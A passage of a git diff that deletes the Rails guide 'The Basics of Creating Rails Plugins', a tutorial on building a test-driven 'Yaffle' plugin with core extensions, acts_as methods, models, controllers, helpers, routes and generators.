-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4
-
-* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo
-* September 6, 2008: Initial version by Matthew Bergman
diff --git a/vendor/rails/railties/guides/source/plugins.textile b/vendor/rails/railties/guides/source/plugins.textile
deleted file mode 100644
index e1cd0560..00000000
--- a/vendor/rails/railties/guides/source/plugins.textile
+++ /dev/null
@@ -1,1512 +0,0 @@
-h2. The Basics of Creating Rails Plugins
-
-A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-
-After reading this guide you should be familiar with:
-
-* Creating a plugin from scratch
-* Writing and running tests for the plugin
-* Storing models, views, controllers, helpers and even other plugins in your plugins
-* Writing generators
-* Writing custom Rake tasks in your plugin
-* Generating RDoc documentation for your plugin
-* Avoiding common pitfalls with 'init.rb'
-
-This guide describes how to build a test-driven plugin that will:
-
-* Extend core ruby classes like Hash and String
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
-* Add a view helper that can be used in erb templates
-* Add a new generator that will generate a migration
-* Add a custom generator command
-* A custom route method that can be used in routes.rb
-
-For the purpose of this guide pretend for a moment that you are an avid bird watcher.  Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness.  First, you need to get setup for development.
-
-endprologue.
-
-h3. Setup
-
-h4. Create the Basic Application
-
-The examples in this guide require that you have a working rails application.  To create a simple rails app execute:
-
-<pre>
-gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server
-</pre>
-
-Then navigate to http://localhost:3000/birds.  Make sure you have a functioning rails app before continuing.
-
-NOTE: The aforementioned instructions will work for sqlite3.  For more detailed instructions on how to create a rails app for other databases see the API docs.
-
-
-h4. Generate the Plugin Skeleton
-
-Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also.
-
-This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
-
-Examples:
-<pre>
-./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator
-</pre>
-
-To get more detailed help on the plugin generator, type +./script/generate plugin+.
-
-Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the +--with-generator+ option now:
-
-<pre>
-./script/generate plugin yaffle --with-generator
-</pre>
-
-You should see the following output:
-
-<pre>
-create  vendor/plugins/yaffle/lib
-create  vendor/plugins/yaffle/tasks
-create  vendor/plugins/yaffle/test
-create  vendor/plugins/yaffle/README
-create  vendor/plugins/yaffle/MIT-LICENSE
-create  vendor/plugins/yaffle/Rakefile
-create  vendor/plugins/yaffle/init.rb
-create  vendor/plugins/yaffle/install.rb
-create  vendor/plugins/yaffle/uninstall.rb
-create  vendor/plugins/yaffle/lib/yaffle.rb
-create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create  vendor/plugins/yaffle/test/core_ext_test.rb
-create  vendor/plugins/yaffle/generators
-create  vendor/plugins/yaffle/generators/yaffle
-create  vendor/plugins/yaffle/generators/yaffle/templates
-create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create  vendor/plugins/yaffle/generators/yaffle/USAGE
-</pre>
-
-h4. Organize Your Files
-
-To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:
-
-<pre>
-|-- lib
-|   |-- yaffle
-|   `-- yaffle.rb
-`-- rails
-    |
-    `-- init.rb
-</pre>
-
-*vendor/plugins/yaffle/rails/init.rb*
-
-<ruby>
-require 'yaffle'
-</ruby>
-
-Now you can add any 'require' statements to 'lib/yaffle.rb' and keep 'init.rb' clean.
-
-h3. Tests
-
-In this guide you will learn how to test your plugin against multiple different database adapters using Active Record.  To setup your plugin to allow for easy testing you'll need to add 3 files:
-
- * A 'database.yml' file with all of your connection strings
- * A 'schema.rb' file with your table definitions
- * A test helper method that sets up the database
-
-h4. Test Setup
-
-*vendor/plugins/yaffle/test/database.yml:*
-
-<pre>
-sqlite:
-  :adapter: sqlite
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
-  :adapter: sqlite3
-  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
-  :adapter: postgresql
-  :username: postgres
-  :password: postgres
-  :database: yaffle_plugin_test
-  :min_messages: ERROR
-
-mysql:
-  :adapter: mysql
-  :host: localhost
-  :username: root
-  :password: password
-  :database: yaffle_plugin_test
-</pre>
-
-For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
-
-*vendor/plugins/yaffle/test/schema.rb:*
-
-<ruby>
-ActiveRecord::Schema.define(:version => 0) do
-  create_table :hickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_squawk
-    t.datetime :last_squawked_at
-  end
-  create_table :wickwalls, :force => true do |t|
-    t.string :name
-    t.string :last_tweet
-    t.datetime :last_tweeted_at
-  end
-  create_table :woodpeckers, :force => true do |t|
-    t.string :name
-  end
-end
-</ruby>
-
-*vendor/plugins/yaffle/test/test_helper.rb:*
-
-<ruby>
-ENV['RAILS_ENV'] = 'test'
-ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
-
-require 'test/unit'
-require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
-
-def load_schema
-  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
-  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
-
-  db_adapter = ENV['DB']
-
-  # no db passed, try one of these fine config-free DBs before bombing.
-  db_adapter ||=
-    begin
-      require 'rubygems'
-      require 'sqlite'
-      'sqlite'
-    rescue MissingSourceFile
-      begin
-        require 'sqlite3'
-        'sqlite3'
-      rescue MissingSourceFile
-      end
-    end
-
-  if db_adapter.nil?
-    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
-  end
-
-  ActiveRecord::Base.establish_connection(config[db_adapter])
-  load(File.dirname(__FILE__) + "/schema.rb")
-  require File.dirname(__FILE__) + '/../rails/init.rb'
-end
-</ruby>
-
-Now whenever you write a test that requires the database, you can call 'load_schema'.
-
-h4. Run the Plugin Tests
-
-Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct.  By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test.  Replace the contents of that file with:
-
-*vendor/plugins/yaffle/test/yaffle_test.rb:*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class YaffleTest < Test::Unit::TestCase
-  load_schema
-
-  class Hickwall < ActiveRecord::Base
-  end
-
-  class Wickwall < ActiveRecord::Base
-  end
-
-  def test_schema_has_loaded_correctly
-    assert_equal [], Hickwall.all
-    assert_equal [], Wickwall.all
-  end
-
-end
-</ruby>
-
-To run this, go to the plugin directory and run +rake+:
-
-<pre>
-cd vendor/plugins/yaffle
-rake
-</pre>
-
-You should see output like:
-
-<shell>
-/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
-  create_table(:hickwalls, {:force=>true})
-   -> 0.0220s
--- create_table(:wickwalls, {:force=>true})
-   -> 0.0077s
--- initialize_schema_migrations_table()
-   -> 0.0007s
--- assume_migrated_upto_version(0)
-   -> 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors
-</shell>
-
-By default the setup above runs your tests with sqlite or sqlite3.  To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
-
-<shell>
-rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql
-</shell>
-
-Now you are ready to test-drive your plugin!
-
-h3. Extending Core Classes
-
-This section will explain how to add a method to String that will be available anywhere in your rails app.
-
-In this example you will add a method to String named +to_squawk+.  To begin, create a new test file with a few assertions:
-
-* *vendor/plugins/yaffle/test/core_ext_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class CoreExtTest < Test::Unit::TestCase
-  def test_to_squawk_prepends_the_word_squawk
-    assert_equal "squawk! Hello World", "Hello World".to_squawk
-  end
-end
-</ruby>
-
-Navigate to your plugin directory and run +rake test+:
-
-<shell>
-cd vendor/plugins/yaffle
-rake test
-</shell>
-
-The test above should fail with the message:
-
-<shell>
- 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
-    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-</shell>
-
-Great - now you are ready to start development.
-
-Then in 'lib/yaffle.rb' require 'lib/core_ext.rb':
-
-* *vendor/plugins/yaffle/lib/yaffle.rb*
-
-<ruby>
-require "yaffle/core_ext"
-</ruby>
-
-Finally, create the 'core_ext.rb' file and add the 'to_squawk' method:
-
-* *vendor/plugins/yaffle/lib/yaffle/core_ext.rb*
-
-<ruby>
-String.class_eval do
-  def to_squawk
-    "squawk! #{self}".strip
-  end
-end
-</ruby>
-
-To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.  To see this in action, fire up a console and start squawking:
-
-<shell>
-$ ./script/console
->> "Hello World".to_squawk
-=> "squawk! Hello World"
-</shell>
-
-h4. Working with +init.rb+
-
-When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'.  However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior.
-
-Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class.  A better alternative is to reopen the class in a different file, and require that file from +init.rb+, as shown above.
-
-If you must reopen a class in +init.rb+ you can use +module_eval+ or +class_eval+ to avoid any issues:
-
-* *vendor/plugins/yaffle/rails/init.rb*
-
-<ruby>
-Hash.class_eval do
-  def is_a_special_hash?
-    true
-  end
-end
-</ruby>
-
-Another way is to explicitly define the top-level module space for all modules and classes, like +::Hash+:
-
-* *vendor/plugins/yaffle/rails/init.rb*
-
-<ruby>
-class ::Hash
-  def is_a_special_hash?
-    true
-  end
-end
-</ruby>
-
-h3. Add an "acts_as" Method to Active Record
-
-A common pattern in plugins is to add a method called 'acts_as_something' to models.  In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models.
-
-To begin, set up your files so that you have:
-
-* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-end
-</ruby>
-
-* *vendor/plugins/yaffle/lib/yaffle.rb*
-
-<ruby>
-require 'yaffle/acts_as_yaffle'
-</ruby>
-
-* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-<ruby>
-module Yaffle
-  # your code will go here
-end
-</ruby>
-
-Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
-
-One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so:
-
-* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-<ruby>
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    # any method placed here will apply to classes, like Hickwall
-    def acts_as_something
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    # any method placed here will apply to instaces, like @hickwall
-  end
-end
-</ruby>
-
-With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+).
-
-h4. Add a Class Method
-
-This plugin will expect that you've added a method to your model named 'last_squawk'.  However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else.  This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-end
-</ruby>
-
-To make these tests pass, you could modify your +acts_as_yaffle+ file like so:
-
-* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-<ruby>
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-</ruby>
-
-h4. Add an Instance Method
-
-This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'.  The 'squawk' method will simply set the value of one of the fields in the database.
-
-To start out, write a failing test that shows the behavior you'd like:
-
-* *vendor/plugins/yaffle/test/acts_as_yaffle_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class Hickwall < ActiveRecord::Base
-  acts_as_yaffle
-end
-
-class Wickwall < ActiveRecord::Base
-  acts_as_yaffle :yaffle_text_field => :last_tweet
-end
-
-class ActsAsYaffleTest < Test::Unit::TestCase
-  load_schema
-
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
-
-  def test_hickwalls_squawk_should_populate_last_squawk
-    hickwall = Hickwall.new
-    hickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", hickwall.last_squawk
-  end
-
-  def test_wickwalls_squawk_should_populate_last_tweeted_at
-    wickwall = Wickwall.new
-    wickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", wickwall.last_tweet
-  end
-end
-</ruby>
-
-Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this:
-
-* *vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb*
-
-<ruby>
-module Yaffle
-  def self.included(base)
-    base.send :extend, ClassMethods
-  end
-
-  module ClassMethods
-    def acts_as_yaffle(options = {})
-      cattr_accessor :yaffle_text_field
-      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      send :include, InstanceMethods
-    end
-  end
-
-  module InstanceMethods
-    def squawk(string)
-      write_attribute(self.class.yaffle_text_field, string.to_squawk)
-    end
-  end
-end
-
-ActiveRecord::Base.send :include, Yaffle
-</ruby>
-
-NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use +send("#{self.class.yaffle_text_field}=", string.to_squawk)+.
-
-h3. Models
-
-This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:
-
-<shell>
-vendor/plugins/yaffle/
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |-- helpers
-|   |   |-- models
-|   |   |   `-- woodpecker.rb
-|   |   `-- views
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb
-</shell>
-
-As always, start with a test:
-
-* *vendor/plugins/yaffle/test/woodpecker_test.rb:*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-
-class WoodpeckerTest < Test::Unit::TestCase
-  load_schema
-
-  def test_woodpecker
-    assert_kind_of Woodpecker, Woodpecker.new
-  end
-end
-</ruby>
-
-This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
-
-* *vendor/plugins/yaffle/lib/yaffle.rb:*
-
-<ruby>
-%w{ models }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-</ruby>
-
-Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.
-
-* *vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
-
-<ruby>
-class Woodpecker < ActiveRecord::Base
-end
-</ruby>
-
-Finally, add the following to your plugin's 'schema.rb':
-
-* *vendor/plugins/yaffle/test/schema.rb:*
-
-<ruby>
-create_table :woodpeckers, :force => true do |t|
-  t.string :name
-end
-</ruby>
-
-Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
-
-h3. Controllers
-
-This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.
-
-You can test your plugin's controller as you would test any other controller:
-
-* *vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'woodpeckers_controller'
-require 'action_controller/test_process'
-
-class WoodpeckersController; def rescue_action(e) raise e end; end
-
-class WoodpeckersControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = WoodpeckersController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :woodpeckers
-    end
-  end
-
-  def test_index
-    get :index
-    assert_response :success
-  end
-end
-</ruby>
-
-This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
-
-* *vendor/plugins/yaffle/lib/yaffle.rb:*
-
-<ruby>
-%w{ models controllers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-</ruby>
-
-* *vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:*
-
-<ruby>
-class WoodpeckersController < ActionController::Base
-
-  def index
-    render :text => "Squawk!"
-  end
-
-end
-</ruby>
-
-Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
-
-h3. Helpers
-
-This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.
-
-You can test your plugin's helper as you would test any other helper:
-
-* *vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-include WoodpeckersHelper
-
-class WoodpeckersHelperTest < Test::Unit::TestCase
-  def test_tweet
-    assert_equal "Tweet! Hello", tweet("Hello")
-  end
-end
-</ruby>
-
-This is just a simple test to make sure the helper is being loaded correctly.  After watching it fail with +rake+, you can make it pass like so:
-
-* *vendor/plugins/yaffle/lib/yaffle.rb:*
-
-<ruby>
-%w{ models controllers helpers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-</ruby>
-
-* *vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
-
-<ruby>
-module WoodpeckersHelper
-
-  def tweet(text)
-    "Tweet! #{text}"
-  end
-
-end
-</ruby>
-
-Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
-
-h3. Routes
-
-In a standard 'routes.rb' file you use routes like 'map.connect' or 'map.resources'.  You can add your own custom routes from a plugin.  This section will describe how to add a custom method called that can be called with 'map.yaffles'.
-
-Testing routes from plugins is slightly different from testing routes in a standard rails app.  To begin, add a test like this:
-
-* *vendor/plugins/yaffle/test/routing_test.rb*
-
-<ruby>
-require "#{File.dirname(__FILE__)}/test_helper"
-
-class RoutingTest < Test::Unit::TestCase
-
-  def setup
-    ActionController::Routing::Routes.draw do |map|
-      map.yaffles
-    end
-  end
-
-  def test_yaffles_route
-    assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
-  end
-
-  private
-
-    def assert_recognition(method, path, options)
-      result = ActionController::Routing::Routes.recognize_path(path, :method => method)
-      assert_equal options, result
-    end
-end
-</ruby>
-
-Once you see the tests fail by running 'rake', you can make them pass with:
-
-* *vendor/plugins/yaffle/lib/yaffle.rb*
-
-<ruby>
-require "yaffle/routing"
-</ruby>
-
-* *vendor/plugins/yaffle/lib/yaffle/routing.rb*
-
-<ruby>
-module Yaffle #:nodoc:
-  module Routing #:nodoc:
-    module MapperExtensions
-      def yaffles
-        @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
-      end
-    end
-  end
-end
-
-ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
-</ruby>
-
-* *config/routes.rb*
-
-<ruby>
-ActionController::Routing::Routes.draw do |map|
-  map.yaffles
-end
-</ruby>
-
-You can also see if your routes work by running +rake routes+ from your app directory.
-
-h3. Generators
-
-Many plugins ship with generators.  When you created the plugin above, you specified the +--with-generator+ option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
-
-Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.
-
-h4. Testing Generators
-
-Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:
-
- * Creates a new fake rails root directory that will serve as destination
- * Runs the generator
- * Asserts that the correct files were generated
- * Removes the fake rails root
-
-This section will describe how to create a simple generator that adds a file.  For the generator in this section, the test could look something like this:
-
-* *vendor/plugins/yaffle/test/definition_generator_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class DefinitionGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(fake_rails_root)
-    @original_files = file_list
-  end
-
-  def teardown
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_correct_file_name
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_equal "definition.txt", File.basename(new_file)
-  end
-
-  private
-
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), 'rails_root')
-    end
-
-    def file_list
-      Dir.glob(File.join(fake_rails_root, "*"))
-    end
-
-end
-</ruby>
-
-You can run 'rake' from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
-
-To make it pass, create the generator:
-
-* *vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb*
-
-<ruby>
-class YaffleDefinitionGenerator < Rails::Generator::Base
-  def manifest
-    record do |m|
-      m.file "definition.txt", "definition.txt"
-    end
-  end
-end
-</ruby>
-
-h4. The +USAGE+ File
-
-If you plan to distribute your plugin, developers will expect at least a minimum of documentation.  You can add simple documentation to the generator by updating the USAGE file.
-
-Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:
-
-<shell>
-./script/generate
-</shell>
-
-You should see something like this:
-
-<shell>
-Installed Generators
-  Plugins (vendor/plugins): yaffle_definition
-  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
-</shell>
-
-When you run +script/generate yaffle_definition -h+ you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'.
-
-For this plugin, update the USAGE file could look like this:
-
-<shell>
-Description:
-    Adds a file with the definition of a Yaffle to the app's main directory
-</shell>
-
-h3. Add a Custom Generator Command
-
-You may have noticed above that you can used one of the built-in rails migration commands +migration_template+.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
-
-This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'.  This example creates a very simple method that adds or removes a text file.
-
-To start, add the following test method:
-
-* *vendor/plugins/yaffle/test/generator_test.rb*
-
-<ruby>
-def test_generates_definition
-  Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
-  definition = File.read(File.join(fake_rails_root, "definition.txt"))
-  assert_match /Yaffle\:/, definition
-end
-</ruby>
-
-Run +rake+ to watch the test fail, then make the test pass add the following:
-
-* *vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
-
-<shell>
-Yaffle: A bird
-</shell>
-
-* *vendor/plugins/yaffle/lib/yaffle.rb*
-
-<ruby>
-require "yaffle/commands"
-</ruby>
-
-* *vendor/plugins/yaffle/lib/commands.rb*
-
-<ruby>
-require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
-  module Generator #:nodoc:
-    module Commands #:nodoc:
-      module Create
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module Destroy
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module List
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-
-      module Update
-        def yaffle_definition
-          file("definition.txt", "definition.txt")
-        end
-      end
-    end
-  end
-end
-
-Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
-</ruby>
-
-Finally, call your new method in the manifest:
-
-* *vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
-
-<ruby>
-class YaffleGenerator < Rails::Generator::NamedBase
-  def manifest
-    m.yaffle_definition
-  end
-end
-</ruby>
-
-h3. Generator Commands
-
-You may have noticed above that you can used one of the built-in rails migration commands +migration_template+.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
-
-This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'.
-
-To start, add the following test method:
-
-* *vendor/plugins/yaffle/test/route_generator_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-require 'rails_generator/scripts/destroy'
-
-class RouteGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(File.join(fake_rails_root, "config"))
-  end
-
-  def teardown
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_route
-    content = <<-END
-      ActionController::Routing::Routes.draw do |map|
-        map.connect ':controller/:action/:id'
-        map.connect ':controller/:action/:id.:format'
-      end
-    END
-    File.open(routes_path, 'wb') {|f| f.write(content) }
-
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root)
-    assert_match /map\.yaffles/, File.read(routes_path)
-  end
-
-  def test_destroys_route
-    content = <<-END
-      ActionController::Routing::Routes.draw do |map|
-        map.yaffles
-        map.connect ':controller/:action/:id'
-        map.connect ':controller/:action/:id.:format'
-      end
-    END
-    File.open(routes_path, 'wb') {|f| f.write(content) }
-
-    Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root)
-    assert_no_match /map\.yaffles/, File.read(routes_path)
-  end
-
-  private
-
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), "rails_root")
-    end
-
-    def routes_path
-      File.join(fake_rails_root, "config", "routes.rb")
-    end
-
-end
-</ruby>
-
-Run +rake+ to watch the test fail, then make the test pass add the following:
-
-* *vendor/plugins/yaffle/lib/yaffle.rb*
-
-<ruby>
-require "yaffle/commands"
-</ruby>
-
-* *vendor/plugins/yaffle/lib/yaffle/commands.rb*
-
-<ruby>
-require 'rails_generator'
-require 'rails_generator/commands'
-
-module Yaffle #:nodoc:
-  module Generator #:nodoc:
-    module Commands #:nodoc:
-      module Create
-        def yaffle_route
-          logger.route "map.yaffle"
-          look_for = 'ActionController::Routing::Routes.draw do |map|'
-          unless options[:pretend]
-            gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n  map.yaffles\n"}
-          end
-        end
-      end
-
-      module Destroy
-        def yaffle_route
-          logger.route "map.yaffle"
-          gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
-        end
-      end
-
-      module List
-        def yaffle_route
-        end
-      end
-
-      module Update
-        def yaffle_route
-        end
-      end
-    end
-  end
-end
-
-Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
-Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
-Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
-Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
-</ruby>
-
-* *vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb*
-
-<ruby>
-class YaffleRouteGenerator < Rails::Generator::Base
-  def manifest
-    record do |m|
-      m.yaffle_route
-    end
-  end
-end
-</ruby>
-
-To see this work, type:
-
-<shell>
-./script/generate yaffle_route
-./script/destroy yaffle_route
-</shell>
-
